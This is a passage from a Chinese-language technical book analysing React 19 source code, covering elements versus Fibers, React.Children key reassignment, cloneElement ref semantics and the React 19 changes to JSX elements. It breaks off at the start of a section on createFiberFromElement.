可以看到,jsxDEVImpl 与 createElement 在"key 提拔 + props 拷贝 + key 告警 getter + 调用 ReactElement"这条主线上高度同源,区别只在开发期校验项与 children 来源。
2.6.4 getOwner 与 createTask:jsxDEV 独有的调试链路
getOwner()(ReactJSXElement.js:50-59)从 ReactSharedInternals.A(即当前的 dispatcher)取出"当前组件 owner"。配合 createTask(ReactJSXElement.js:22-27,包装 console.createTask)与 getTaskName(ReactJSXElement.js:29-48)生成浏览器性能面板里可读的 <App>/<Foo> 任务名。这些 owner-stack 能力是 React 19 错误可读性大幅提升的幕后功臣,也是开发期才有的开销(生产 getOwner 直接 return null,见 50-59 行)。
2.6.5 didWarnAboutOldJSXRuntime:升级提示
在 createElement 里(2.5.3 已见),若检测到 config 上出现 __self(旧 JSX 转换的特征标记),会告警提示升级到新转换。这是一个"软迁移"机制:即便依赖没升级,新 React 也能跑,只是给个提醒。注意它有个防误报细节:若 config 含 key 则不告警(因为新转换有时也会为了"静态 key 与 spread key 的优先级"而输出 createElement,见 ReactJSXElement.js:640-645 注释)。
2.7 元素 vs 组件 vs 实例 vs Fiber:四者必须分清
这是 React 初学者乃至不少中高级开发者最容易混淆的四概念。本章既然讲元素,就必须把它和另外三者彻底划清边界——否则第 3、4 章的 Fiber 树你会读得云里雾里。
2.7.1 四个概念的定义
| 概念 | 英文 | 它是什么 | 由谁创建 | 生命周期 | 数量关系 |
|---|---|---|---|---|---|
| 元素 | Element | 描述"在某个位置渲染什么"的不可变纯数据对象 | createElement/jsx/jsxDEV/cloneElement | 每次渲染都重新生成(因为是纯数据,很廉价) | 一次渲染可能产生成千上万个,临时存在,用完即弃 |
| 组件 | Component | 函数或 class,接收 props 返回元素(描述 UI 的"配方") | 开发者手写,或 forwardRef/memo/lazy 等包装 | 与应用同寿(代码层面的定义) | 一个组件类型在整棵应用里通常只有一个定义 |
| 实例 | Instance | class 组件 new 出来的对象(持有 state、生命周期、this) | React 内部 constructClassInstance(ReactFiberClassComponent.js) | 与组件挂载到 DOM 的时长一致 | 每个被挂载的 class 组件对应一个实例;函数组件没有实例 |
| Fiber | Fiber(纤程) | React 内部的工作单元对象,承载"组件类型 + props + 状态 + 副作用标记 + 兄弟/子指针"等所有协调信息 | createFiberFromElement 等(ReactFiber.js) | 跨多次渲染持久存在,可被复用/复用(alternate) | 每个被渲染的元素(几乎)对应一个 Fiber;Fiber 树随更新而持续演进 |
2.7.2 一张关系图
flowchart TD
subgraph 代码层["代码层(开发者编写,长期存在)"]
C["组件 Component<br/>function Foo(){} / class Foo{}"]
end
subgraph 描述层["描述层(每次渲染重新产生,不可变)"]
E["元素 Element<br/>jsx('div', ...)/createElement(Foo, ...)"]
C -->|"被调用 / 被当作 type"| E
end
subgraph 协调层["协调层(内部工作单元,跨渲染复用)"]
F["Fiber<br/>createFiberFromElement"]
E -->|"Reconciler 消费 element.type/props/key"| F
end
subgraph 运行层["运行层(真实对象,随挂载存在)"]
I["实例 Instance(仅 class 组件)<br/>new Foo()"]
DOM["真实 DOM 节点(宿主组件)"]
F -->|"beginWork 中 construct/mount"| I
F -->|"commit 阶段创建/更新"| DOM
end
style E fill:#ffe9a8
style F fill:#bfe3ff
2.7.3 逐对辨析
元素 ≠ 组件
- 组件是"函数/类",是行为;元素是"对象",是行为在某个时刻产出的快照。
<Foo />是 JSX,编译后变成jsx(Foo, ...),返回一个元素。这个元素的type字段等于Foo(组件本身)。所以"渲染一个组件"的本质是"创建一个type指向该组件的元素"。- 组件会被 React 调用(函数组件被调用、class 组件被
new),而元素永远不会被调用——它只是被读取。
元素 ≠ 实例
- 元素没有 state、没有方法、没有生命周期。它就是数据。
- 只有 class 组件在被挂载时才会产生实例(
this指向的对象,ReactBaseClasses.js:19-27的Component构造函数)。函数组件没有实例——这是 React Hooks 能成立的前提:函数组件每次渲染都"重跑函数体",不存在一个持久this,所以用useState等把状态存在 Fiber 上(第 5/6 章展开)。 - 你给元素设置的
ref,在 class 组件上指向它的实例;在宿主组件(如'div')上指向真实 DOM 节点;在 19 之前,函数组件不支持ref(除非forwardRef)。在 React 19,ref 作为普通 prop,对函数组件而言就是"被透传到真实节点/被useImperativeHandle捕获的 prop"。
元素 ≠ Fiber
- 元素是一次性的、不可变的、描述性的;Fiber 是持久的、可变的、承载协调状态的工作单元。
- 一次渲染里,同一个组件可能被渲染出 100 个元素,但 React 会尽量复用同一个 Fiber(通过
createWorkInProgress的 alternate 机制),只更新其上的pendingProps/memoizedProps/flags等。 - 元素被消费后即被丢弃;Fiber 会一直活着,直到组件从树中卸载。
- 关键句:元素是"配方卡片",Fiber 是"厨师的工作台账"。卡片用一次就扔,台账长期保存并不断修订。
实例 ≠ Fiber
- 实例只存在于 class 组件;Fiber 存在于所有被渲染的节点(宿主组件、函数组件、class 组件、Fragment、Portal……)。
- 一个 Fiber 通过
stateNode字段指向"它对应的真实对象"——对 class 组件,stateNode是实例;对宿主组件,stateNode是真实 DOM 节点;对函数组件,stateNode通常为null(状态在 hooks 链表上,不在 stateNode)。
2.7.4 一个贯穿四者的具体例子
function App() {
return <Foo name="a" />; // ① 元素:jsx(Foo, {name:'a'}),其 type===Foo
}
class Foo extends React.Component {
render() { return <div>{this.props.name}</div>; }
}
渲染时:
- React 调用
App()(组件),得到元素e1 = {$$typeof, type: Foo, props:{name:'a'}}。 - 协调器看到
e1.type === Foo是 class 组件,于是对应的 FiberfFoo通过constructClassInstance创建Foo实例iFoo = new Foo(...)。 - React 调用
iFoo.render()(实例方法),得到元素e2 = {$$typeof, type:'div', props:{children:'a'}}。 - 协调器为
e2创建/复用 FiberfDiv,最终fDiv.stateNode指向真实 DOM<div>a</div>。
四者各司其职,缺一不可。
2.8 React.Children:不透明性、map/forEach/count/toArray 与 key 重分配
很多人以为 props.children 就是"我能随意遍历的数组"。这是错的。props.children 的真实类型可能是:单个元素、元素数组、null、字符串、数字、嵌套数组、带有迭代器的对象、甚至 undefined。React.Children(packages/react/src/ReactChildren.js)就是为"在不关心这些差异的前提下安全遍历/计数/扁平化 children"而生的工具集。
2.8.1 为什么 children 是"不透明的"
因为 JSX 把它编译成不同形态:
| 写法 | props.children 的真实形态 |
|---|---|
<A>text</A> | 字符串 'text' |
<A>{null}</A> | null(无此字段,见 2.5.4) |
<A><B/></A> | 单个元素(不是数组) |
<A><B/><C/></A> | 元素数组 |
<A>{cond ? <B/> : <C/>}</A> | 可能是元素,也可能是 false/null(布尔值会被视为空) |
<A>{list.map(x => <B key={x}/>)}</A> | 元素数组(里面每个是数组项) |
<A>{[<B/>, <C/>]}</A> | 数组(但 <A> 的 children 是"一个数组",而不是"两个子元素"——这点极其容易踩坑) |
最后一行是经典陷阱:<A>{[<B/>, <C/>]}</A> 中,props.children 是 [elB, elC] 这一个数组,对 A 而言它是单个 child。而 <A><B/><C/></A> 中,props.children 是 [elB, elC] 这一个数组——咦,看起来一样?其实一致,因为 createElement 第 3 步把多参数 children 收成了数组。真正的坑在嵌套数组(见 2.8.5)。
React.Children 的价值:它统一了"单个/多个/嵌套/可迭代"的差异,让你用一致的方式处理 children,并且——最关键的——它会重新分配 key,使结果扁平化且全局唯一。
2.8.2 mapIntoArray:所有 API 的引擎
mapChildren / forEachChildren / toArray / onlyChild 全都建立在一个核心递归 mapIntoArray(ReactChildren.js:155-349)之上。它的职责:递归遍历任意形状的 children 树,对每一个"叶子节点"调用回调,把结果收集进一个扁平数组,并为每个结果元素重新计算一个"带前缀的全局唯一 key"。
先看入口们:
// packages/react/src/ReactChildren.js:366
function mapChildren(children, func, context) {
if (children == null) return children; // null/undefined 直接返回
const result = [];
let count = 0;
mapIntoArray(children, result, '', '', function (child) {
return func.call(context, child, count++);
});
return result;
}
// packages/react/src/ReactChildren.js:392
function countChildren(children) {
let n = 0;
mapChildren(children, () => { n++; });
return n;
}
// packages/react/src/ReactChildren.js:415
function forEachChildren(children, forEachFunc, forEachContext) {
mapChildren(children, function () {
forEachFunc.apply(this, arguments); // 不返回,仅副作用
}, forEachContext);
}
// packages/react/src/ReactChildren.js:437
function toArray(children) {
return mapChildren(children, child => child) || [];
}
可以看到 forEach 与 toArray 本质都是 mapChildren 的特例:forEach 的回调不返回值(只执行副作用),toArray 的回调直接返回 child 本身。
2.8.3 mapIntoArray 的类型判别与递归
// packages/react/src/ReactChildren.js:162-198
const type = typeof children;
if (type === 'undefined' || type === 'boolean') children = null; // 布尔→空
let invokeCallback = false;
if (children === null) {
invokeCallback = true; // null 也作为"一个叶子"回调(返回 null)
} else {
switch (type) {
case 'bigint': case 'string': case 'number':
invokeCallback = true; // 原始值直接回调
break;
case 'object':
switch ((children as any).$$typeof) {
case REACT_ELEMENT_TYPE: // 元素 → 回调
case REACT_PORTAL_TYPE: // Portal → 回调
invokeCallback = true;
break;
case REACT_LAZY_TYPE: // lazy → 解析后递归
const payload = children._payload;
const init = children._init;
return mapIntoArray(init(payload), array, ...);
}
}
}
要点:
undefined/boolean→ 当作null:这就是为什么你在 JSX 里写{cond && <X/>},当cond为假时渲染为空而不报错——false/null/true都被元素工厂与React.Children视为"无内容"。string/number/bigint也是合法 child:文本节点会作为叶子回调。lazy会被解析后递归:mapIntoArray直接init(payload)拿到解析后的 children 再递归,对调用者完全透明。REACT_ELEMENT_TYPE/REACT_PORTAL_TYPE才会触发invokeCallback:即"到了真正的叶子元素"。
2.8.4 回调与 key 重分配的核心逻辑
// packages/react/src/ReactChildren.js:200-265(节选,已精简注释)
if (invokeCallback) {
const child = children;
let mappedChild = callback(child);
const childKey = nameSoFar === '' ? SEPARATOR + getElementKey(child, 0) : nameSoFar;
if (isArray(mappedChild)) {
// 回调返回数组:继续扁平化
let escapedChildKey = '';
if (childKey != null) escapedChildKey = escapeUserProvidedKey(childKey) + '/';
mapIntoArray(mappedChild, array, escapedChildKey, '', c => c);
} else if (mappedChild != null) {
if (isValidElement(mappedChild)) {
if (__DEV__) { /* ... key 校验 ... */ }
const newChild = cloneAndReplaceKey(
mappedChild,
escapedPrefix +
(mappedChild.key != null && (!child || child.key !== mappedChild.key)
? escapeUserProvidedKey('' + mappedChild.key) + '/'
: '') +
childKey,
);
// ...
mappedChild = newChild;
}
array.push(mappedChild);
}
return 1;
}
这是整章关于 React.Children 最关键的机制:key 重分配。
cloneAndReplaceKey(ReactJSXElement.js:748-764)用新 key 克隆元素:
// packages/react/src/jsx/ReactJSXElement.js:748
export function cloneAndReplaceKey(oldElement, newKey) {
const clonedElement = ReactElement(
oldElement.type,
newKey,
oldElement.props,
!__DEV__ ? undefined : oldElement._owner,
__DEV__ && oldElement._debugStack,
__DEV__ && oldElement._debugTask,
);
if (__DEV__) {
if (oldElement._store) {
clonedElement._store.validated = oldElement._store.validated; // 继承 validated 标记
}
}
return clonedElement;
}
于是 React.Children.map 返回的每个元素都被换上了一个全新的、带层级前缀的 key,形如 .$.0:1/foo。这个 key 由两部分拼成:
escapedPrefix:来自父层递归传下来的前缀(嵌套越深越长)。childKey=nameSoFar或SEPARATOR + getElementKey(child, 0):getElementKey(ReactChildren.js:74-93)的逻辑是——若元素自带有效key(且非REACT_OPTIMISTIC_KEY),则用escape('' + element.key);否则退化为索引index.toString(36)。
// packages/react/src/ReactChildren.js:74
function getElementKey(element, index) {
if (typeof element === 'object' && element !== null && element.key != null) {
if (enableOptimisticKey && element.key === REACT_OPTIMISTIC_KEY) {
if (__DEV__) console.error("React.Children helpers don't support optimisticKey.");
return index.toString(36);
}
if (__DEV__) checkKeyStringCoercion(element.key);
return escape('' + element.key);
}
return index.toString(36);
}
escape(ReactChildren.js:41-53)把 key 中的 =、: 转义成 =0、=2,并在前面加 $;escapeUserProvidedKey(ReactChildren.js:62-65)把 / 翻倍。这些转义是为了让"用户提供的 key"与"React 内部生成的索引路径"在字符串拼接后不会冲突(例如用户 key 里若含 :,会被转义,避免和分隔符 : 混淆)。
2.8.5 key 重分配的"坑":为什么 React.Children.map 后 key 全变了
坑的本质:React.Children.map 返回的数组里,每个元素的 key 都不再是原始 key,而是"带路径前缀的复合 key"。
function App() {
const children = [<li key="a">A</li>, <li key="b">B</li>];
const mapped = React.Children.map(children, c => c);
console.log(mapped.map(e => e.key));
// 输出类似 ['.$.a', '.$.b'](带前缀,看起来怪异但唯一)
}
这带来两个容易被忽视的后果:
- 如果你把
map的结果再当成 children 渲染,React 看到的 key 是复合 key。由于复合 key 全局唯一,通常没问题;但如果你期望"外层 key 决定身份",就会被绕晕。 map回调里返回新元素时,原 key 会被丢弃并按新位置重分配。例如你想给每个 child 外包一层<li>,map会基于"新数组的索引位置"重新生成 key,于是即便原 children 带了良好 key,外层包裹后的 key 也会变成.$.0、.$.1……这就是为什么"用React.Children.map包一层容器"会丢失你精心设计的 key。
规避方案:
- 若只是想"遍历/计数"而不改结构,用
React.Children.forEach/count,它们不改变 key 也不重新克隆(它们都是mapChildren的特例,但forEach的回调返回值被忽略,toArray虽克隆但保留结构——注意即便toArray也会重分配 key!)。 - 若想保留原始 key,不要依赖
React.Children.map的自动重分配;在回调里手动把原始 child 直接返回(toArray就是这么做的:child => child),但仍会被重分配 key——所以如果你需要"原样 key 的扁平数组",更稳妥的是自己递归处理,或使用React.Children.toArray但明确接受"key 会被规范化"。 - 第 4 章会讲:Diff 算法依赖 key 判断"这是不是同一个元素"。
React.Children的 key 规范化保证了即使你丢掉了 key,React 也能用"索引路径"兜底,但这会让列表移动/重排时失去复用,所以"列表项务必手写稳定 key"这条铁律不因React.Children而豁免。
2.8.6 only 与"对象作为 children"的报错
onlyChild(ReactChildren.js:455-463)要求输入的必须是一个且只有一个 isValidElement 的元素,否则抛错。它常用于"我的组件只接受一个子元素"的语义约束(如 <Slider><Slide/></Slider>)。
mapIntoArray 在遍历到"非元素、非文本、不可迭代的对象"时(ReactChildren.js:320-345)会抛错:
Objects are not valid as a React child (found: object with keys {...}). If you meant to render a collection of children, use an array instead.
这正是你偶尔忘记 return、或把一个对象直接当 children 时看到的经典报错。注意它区分了 [object Object](普通对象)和具体构造类型,给出更友好的"object with keys {a, b}"提示。
还有一处细节:Map 作为 children 会被明确告警(ReactChildren.js:292-303、ReactChildFiber.js 也有类似告警),因为 Map.entries 会被 getIteratorFn 识别成迭代器,但 React 不支持直接渲染 Map。
2.9 cloneElement:语义与 ref 丢失陷阱
cloneElement(packages/react/src/jsx/ReactJSXElement.js:770-854)用于"以某个已有元素为模板,覆盖部分 props/key/ref,返回新元素"。它是 React.Children.map 内部包裹元素时的底层手段(上一节 cloneAndReplaceKey 是更轻量的"只换 key"版本,而 cloneElement 是"全功能克隆")。
2.9.1 签名与流程
export function cloneElement(element, config, children) {
// 0. 校验 element 非 null/undefined
// 1. 拷贝 element.props → props
// 2. 提取 key(保留原 key,除非 config 覆盖);owner → 原 owner
// 3. 处理 config:若含有效 ref,则 owner = getOwner()(当前组件成为新 owner)
// 4. 把 config 其余属性覆盖进 props(跳过 key/__self/__source,且忽略 undefined ref)
// 5. children 多参归一化(覆盖原 children)
// 6. 调用 ReactElement 工厂
// 7. 开发期:对新 children 做 validateChildKeys
}
2.9.2 逐块解读
// packages/react/src/jsx/ReactJSXElement.js:770
export function cloneElement(element, config, children) {
if (element === null || element === undefined) {
throw new Error(`The argument must be a React element, but you passed ${element}.`);
}
let propName;
const props = assign({}, element.props); // ① 浅拷贝原 props
let key = element.key; // ② 保留原 key
let owner = !__DEV__ ? undefined : element._owner; // ② 保留原 owner
if (config != null) {
if (hasValidRef(config)) {
owner = __DEV__ ? getOwner() : undefined; // ③ 一旦覆盖 ref,owner 改为当前组件
}
if (hasValidKey(config)) {
if (enableOptimisticKey && config.key === REACT_OPTIMISTIC_KEY) key = REACT_OPTIMISTIC_KEY;
else {
if (__DEV__) checkKeyStringCoercion(config.key);
key = '' + config.key; // 覆盖 key
}
}
for (propName in config) {
if (
hasOwnProperty.call(config, propName) &&
propName !== 'key' &&
propName !== '__self' &&
propName !== '__source' &&
!(propName === 'ref' && config.ref === undefined) // ④ undefined ref 被忽略(兼容)
) {
props[propName] = config[propName]; // 覆盖 props
}
}
}
const childrenLength = arguments.length - 2;
if (childrenLength === 1) props.children = children; // ⑤ 覆盖 children
else if (childrenLength > 1) { /* 收成数组,同 createElement */ }
const clonedElement = ReactElement(element.type, key, props, owner, ...);
for (let i = 2; i < arguments.length; i++) validateChildKeys(arguments[i]); // ⑦ 校验
return clonedElement;
}
2.9.3 cloneElement 的语义要点
- 它是浅合并,不是深合并:
props = assign({}, element.props)后,config里的属性覆盖同名属性。如果原props里有个对象字段(如style),config.style会整体替换它,而不是合并。这与Object.assign的语义一致,是常见误用点(想"增量改 style"得自己{...el.props.style, ...cfg.style})。 key默认保留原值,可被config.key覆盖:这就是"为什么cloneElement后的元素 key 不变"——除非你显式传key。children默认保留原值,但若传入新 children 则覆盖:cloneElement(<X>a</X>, null, 'b')得到<X>b</X>。
2.9.4 ref 丢失陷阱(本章重点坑之一)
注意第 ③ 步:
if (hasValidRef(config)) {
owner = __DEV__ ? getOwner() : undefined;
}
原始元素的 ref 不会被自动保留到克隆元素。原因:props = assign({}, element.props) 会把 props.ref 拷过去(在 React 19,ref 是普通 prop,随 props 一起拷贝),所以如果你只是 cloneElement(el) 不传 config,原 ref 会保留(因为它在 props.ref 里)。
但陷阱出现在你传了 config 且 config 里没有 ref 时:
- 因为
ref在 19 里是props.ref,assign({}, element.props)已经把它带过来了。所以"不带 ref 的 config"并不会丢 ref——这点和 19 之前的版本不同。 - 真正会丢 ref 的场景:你用
config覆盖了 props,但config里ref是undefined。看第 ④ 步:!(propName === 'ref' && config.ref === undefined)——明确忽略undefined的 ref。也就是说cloneElement(el, {ref: undefined})不会清空 ref(向后兼容:避免误清)。而cloneElement(el, {ref: newRef})会用newRef覆盖(同时触发owner = getOwner(),因为hasValidRef为真)。
历史上的经典 ref 丢失陷阱(React 18 及更早):
在 React 18 及以前,ref 是元素的顶层字段(不是 props),而 cloneElement 的 assign({}, element.props) 不会拷贝顶层 ref。于是:
const cloned = cloneElement(<Child ref={r} />, {id: 1});
// 在 18 里:cloned.ref 是 null!ref 被无声吞掉
这是无数 "ref 不见了" bug 的根源,且编译器不会报错(因为 ref 不在 props 里,浅拷贝自然漏掉)。React 19 把 ref 改成普通 prop,从机制上消灭了这个陷阱——因为 ref 现在随 props 一起拷贝,cloneElement 默认就能带上 ref。这正是 2.9 节开头说的"ref 成为普通 prop"带来的直接收益之一。
现代(React 19)的正确认知:
cloneElement(el)(无 config):ref随props.ref保留。✅cloneElement(el, {ref: anotherRef}):用anotherRef替换,并把owner设为当前组件。✅cloneElement(el, {ref: undefined}):被显式忽略,不改动原ref(兼容)。✅- 若你手动
assign去掉了props.ref,那当然会丢——但这是你自己的锅,不是 API 的。
最佳实践:需要"转发/克隆并保留 ref"时,直接用 cloneElement(child) 即可;若需替换 ref,显式传 ref;不要依赖已被废弃的顶层 element.ref 读取。
2.9.5 isValidElement 在这里的隐性作用
cloneElement 不校验 element 是否真的是元素——它只检查非 null/undefined。如果你传一个普通对象,element.props 会是 undefined,assign({}, undefined) 得到 {},随后 element.type 是 undefined(无效 type),最终返回一个"畸形元素",渲染时会报错。所以调用 cloneElement 前,自己用 isValidElement 守卫是好习惯(第 1 章/第 3 章代码里 React 内部大量这样做)。
2.10 React 19 在元素与 JSX 上的变化(重点:defaultProps、key、ref as prop、Fragment ref、optimistic key)
这是本章"与版本强相关"的核心节。React 19 在元素/JSX 层做了多项破冰式改动,源码里几乎每一处都落在我们已经读过的代码上。
2.10.1 ref 成为普通 prop(enableRefAsProp)
旧(≤18):ref 是元素的顶层保留字段(element.ref),不在 props 上;且 props.ref 会被协调器特殊处理(从 props 剥离)。
新(19):ref 就是 props.ref。看 ReactElement 工厂(ReactJSXElement.js:170-238)——生产环境 ref 仍是顶层字段(兼容),但开发环境 ref 是访问器,且工厂开头就写:
Ignore whatever was passed as the ref argument and treat
props.refas the source of truth.
即真相在 props.ref。协调器侧,coerceRef(ReactChildFiber.js:291-299)也改为直接读 props.ref:
// packages/react-reconciler/src/ReactChildFiber.js:291
function coerceRef(workInProgress, element) {
const refProp = element.props.ref;
workInProgress.ref = refProp !== undefined ? refProp : null;
}
其注释更是直言:
TODO: With enableRefAsProp now rolled out, we shouldn't use the
reffield. We should always read the ref from the prop.
影响面:
- 函数组件现在可以直接
function Input({ref}) {...}接收 ref(配合useImperativeHandle或把它透传到原生节点),无需forwardRef。(forwardRef在新版仍可用但已非必需。) - 类组件的
this.refs、字符串 ref 等旧机制继续按ReactBaseClasses.js的规则工作,但获取 ref 的底层统一走props.ref。 - 直接读
element.ref在开发期告警(2.3.2 已讲)。
2.10.2 defaultProps:函数组件不再被官方支持(源码权威结论)
结合本章与协调器源码,给出精确结论:
-
createElement仍保留 legacy 的defaultProps解析循环(ReactJSXElement.js:703-711),且对所有type无条件生效(不区分函数/类):if (type && type.defaultProps) { const defaultProps = type.defaultProps; for (propName in defaultProps) { if (props[propName] === undefined) props[propName] = defaultProps[propName]; } } -
协调器只对类组件做权威的
defaultProps解析。resolveClassComponentProps(ReactFiberClassComponent.js:1187-1220)是类组件 props 的"官方解析点",其中显式循环Component.defaultProps(ReactFiberClassComponent.js:1204-1217)。函数组件路径(updateFunctionComponent/mountIndeterminateComponent,见ReactFiberBeginWork.js:1453、ReactFiberBeginWork.js:450)完全信任元素携带的 props,不再二次解析defaultProps。 -
因此:在 React 19.3.1 中,一个函数组件若设置了
Component.defaultProps,它的默认值会经createElement的 legacy 循环被合并进 props(因为该循环不区分类型),从而"表面上还能生效"。但是—— -
React 19 官方升级指南明确:函数组件不再支持
defaultProps,推荐改用解构默认值或默认参数:// ❌ React 19 不推荐 function Button(props) {} Button.defaultProps = { color: 'blue' }; // ✅ React 19 推荐 function Button({color = 'blue'}) { ... }源码层面的事实是:legacy 循环仍在
createElement,但这是过渡性遗留代码,且函数组件权威解析路径(协调器)已不再碰defaultProps。源码注释与index.js的导出、resolveClassComponentProps的定位共同证明——defaultProps在 19 里是"类组件专属、函数组件退出"的状态。本章以源码为准记录:createElement的 legacy 解析对所有 type 生效;但函数组件不应再依赖它,因为它的"官方"解析入口已移除。
为什么这样改? 因为 defaultProps 与函数组件的解构默认值语义重叠,而 defaultProps 需要在元素创建时(运行时)额外做一次遍历与对象拷贝(ReactJSXElement.js:703-711 的 for-in),对热路径是纯开销;解构默认值由 JS 引擎直接完成,零额外成本。React 19 借此统一了"默认值的来源"。
类组件 defaultProps 仍在工作:类组件因为要走 resolveClassComponentProps,且 ReactFiberCommitEffects.js:351 等多处仍检查 !finishedWork.type.defaultProps 来做优化判断,所以 static defaultProps 对类组件依旧有效(测试 ReactLazy-test.internal.js:1123 "resolves props for class component with defaultProps" 即佐证)。
2.10.3 key 的自动分配与 REACT_OPTIMISTIC_KEY(乐观 key)
React 19 引入了一个新符号 REACT_OPTIMISTIC_KEY(ReactSymbols.js:69-71):
export const REACT_OPTIMISTIC_KEY: ReactOptimisticKey = Symbol.for('react.optimistic_key');
它的用途是支持编译器为静态列表自动分配"乐观 key",从而在"不知道最终 key 是什么"的情况下也能让协调器先做可恢复的工作,待真实 key 出现后再校正身份(ReactChildFiber.js 里 enableOptimisticKey 相关的 mapRemainingChildren、updateFromMap、reconcileSingleElement 都处理"旧 fiber 是乐观 key"的情形,如 ReactChildFiber.js:484-493、1714-1717)。
在元素工厂层面的体现:jsxProd / jsxDEVImpl / createElement / cloneElement 在提取 key 时都有:
if (enableOptimisticKey && maybeKey === REACT_OPTIMISTIC_KEY) {
key = REACT_OPTIMISTIC_KEY;
}
即一旦 key 是乐观 key 符号,就原样保留这个 Symbol 作为 key(不转成字符串)。它体现了 React 19 对"编译期静态分析 + 运行时可恢复协调"的投入——这是面向 React Compiler 与未来优化的基础设施。
对普通开发者:REACT_OPTIMISTIC_KEY 是内部机制,你通常不会直接接触;但它解释了"为什么有时 React 能在一个列表的真实 key 尚未确定时就开始工作"。
2.10.4 Fragment 支持 ref(enableFragmentRefs)
React 19 允许 <Fragment ref={...}>(在 enableFragmentRefs 开启时)。协调器侧 updateElement(ReactChildFiber.js:587-599)与 reconcileSingleElement(ReactChildFiber.js:1719-1737)在类型是 Fragment 时会 coerceRef(updated, element),且 validateFragmentProps(ReactChildFiber.js:234-280)在 19 的 enableFragmentRefs 下允许 Fragment 携带 ref。
元素工厂层面:Fragment 也是一个带 $$typeof: REACT_FRAGMENT_TYPE 的"类型",其 key/ref 走与普通元素相同的提拔逻辑。开发期还会校验"Fragment 除了 key/ref/children 不能有其他 prop"(ReactChildFiber.js:240-278),否则报:
Invalid prop
%ssupplied toReact.Fragment. React.Fragment can only havekey,ref, andchildrenprops.
2.10.5 key spread 告警与"静态 key 优先于 spread key"
jsxDEVImpl 会就 key 被 spread 进 props 报告警(ReactJSXElement.js:513-537)。这背后是 React 19 对"key 来源优先级"的明确规则:
- 编译器通常把显式
key={...}提升为jsx(type, config, key)的第三参maybeKey——这是最高优先级。 - 若
key来自 spread({...props}里带 key),则由config.key路径处理,且该路径在开发期告警。 - 当两者并存(
<div key="x" {...props} />且props也含 key),jsxProd的逻辑(ReactJSXElement.js:300-320)是:maybeKey优先,但若是乐观 key 则让config.key生效。这正是createElement里didWarnAboutOldJSXRuntime注释(ReactJSXElement.js:640-645)提到的"现代 JSX 转换有时输出createElement以保留静态 key 与 spread key 的优先级"的由来。
2.10.6 isValidElement 与 $$typeof 不变
isValidElement(ReactJSXElement.js:891-897)的判断依旧是 object.$$typeof === REACT_ELEMENT_TYPE,REACT_ELEMENT_TYPE 仍是 Symbol.for('react.transitional.element')。这是跨 React 版本"防伪"的基础,19 未改(见 2.4 节)。
2.10.7 element.ref 访问废弃告警
开发期读取 element.ref 走 elementRefGetterWithDeprecationWarning(ReactJSXElement.js:143-160),打印"Accessing element.ref was removed in React 19"。这是把 ref 从"元素顶层字段"迁移到"props 字段"的过渡告警,未来版本 element.ref 将被彻底移除。
2.11 元素如何流入 Reconciler(点到为止,为第 3、4 章铺垫)
本章聚焦"元素的生产",但这里必须展示"元素被消费"的入口,否则知识链断裂。完整算法留待第 4 章(Diff 与 Reconciliation)深入。
2.11.1 入口:reconcileChildFibers
当某个 Fiber(父节点)要"协调它的 children"时,会调用 reconcileChildFibers(ReactChildFiber.js:1854 的 reconcileChildFibersImpl)。它根据 newChild(即传入的元素 / 元素数组 / 文本 / 可迭代对象 / thenable / context)的类型分派:
// packages/react-reconciler/src/ReactChildFiber.js:1884-1921(节选)
if (typeof newChild === 'object' && newChild !== null) {
switch (newChild.$$typeof) {
case REACT_ELEMENT_TYPE:
return placeSingleChild(
reconcileSingleElement(returnFiber, currentFirstChild, newChild, lanes),
);
case REACT_PORTAL_TYPE:
return placeSingleChild(reconcileSinglePortal(...));
case REACT_LAZY_TYPE:
// 解析 lazy 后递归
}
if (isArray(newChild)) return reconcileChildrenArray(...); // 数组 → 数组协调
if (getIteratorFn(newChild)) return reconcileChildrenIteratable(...); // 可迭代
...
}
注意它一上来就读 newChild.$$typeof——这正是 2.4 节防伪标签的落地点。不是元素(REACT_ELEMENT_TYPE/REACT_PORTAL_TYPE/REACT_LAZY_TYPE)的对象会落到 throwOnInvalidObjectType(ReactChildFiber.js:301-324),给出一个明确的"Objects are not valid as a React child"报错。
2.11.2 单元素协调:reconcileSingleElement
// packages/react-reconciler/src/ReactChildFiber.js:1703
function reconcileSingleElement(returnFiber, currentFirstChild, element, lanes) {
const key = element.key; // ① 读元素的 key
let child = currentFirstChild;
while (child !== null) {
if (child.key === key || (enableOptimisticKey && child.key === REACT_OPTIMISTIC_KEY)) {
const elementType = element.type;
if (elementType === REACT_FRAGMENT_TYPE) { ... }
else if (child.elementType === elementType || /* hot reload / lazy 兼容 */ ...) {
deleteRemainingChildren(returnFiber, child.sibling);
const existing = useFiber(child, element.props); // ② 复用 Fiber,换上新的 props
if (enableOptimisticKey) existing.key = key;
coerceRef(existing, element); // ③ 从 element.props.ref 取 ref
existing.return = returnFiber;
if (__DEV__) { existing._debugOwner = element._owner; existing._debugInfo = currentDebugInfo; }
return existing;
}
deleteRemainingChildren(returnFiber, child);
break;
} else {
deleteChild(returnFiber, child); // key 不匹配 → 删旧的
}
child = child.sibling;
}
// 没复用成功 → 新建 Fiber
if (element.type === REACT_FRAGMENT_TYPE) { ... }
else {
const created = createFiberFromElement(element, returnFiber.mode, lanes); // ④ 用元素造 Fiber
coerceRef(created, element);
created.return = returnFiber;
if (__DEV__) created._debugInfo = currentDebugInfo;
return created;
}
}
这里把"元素 → Fiber"的映射讲清楚了:
key来自element.key(顶层字段,不是 props)——印证 2.3.2。type相同 +key相同 →useFiber复用旧 Fiber,只把element.props换成新的pendingProps——这是 React "可复用"优化的核心,第 4 章会展开。ref来自element.props.ref(19 新语义)——印证 2.10.1。- 新建时
createFiberFromElement(element, ...)(ReactFiber.js)从元素的type/key/props创建 Fiber,并把element._debugInfo等调试信息顺带传入。
2.11.3 数组协调:reconcileChildrenArray(与 key 的关系)
数组协调(ReactChildFiber.js:1177-1369)是"key 为什么重要"的最佳注脚。它用 updateSlot(按 key/index 匹配旧 Fiber)、mapRemainingChildren(把剩余旧 Fiber 放入 Map<key, Fiber>)、updateFromMap(按 key 查表复用)完成"新旧对比"。整段逻辑完全依赖 element.key 来判断身份——一个没 key 的列表项只能退化为"索引匹配",一旦顺序变化就会误复用、引发状态错乱。第 4 章会逐行拆解该算法,本章只需记住:元素工厂里被提拔出来的 key,正是协调器赖以正确复用 Fiber 的"身份证"。
2.11.4 createFiberFromElement 做了什么(预告)
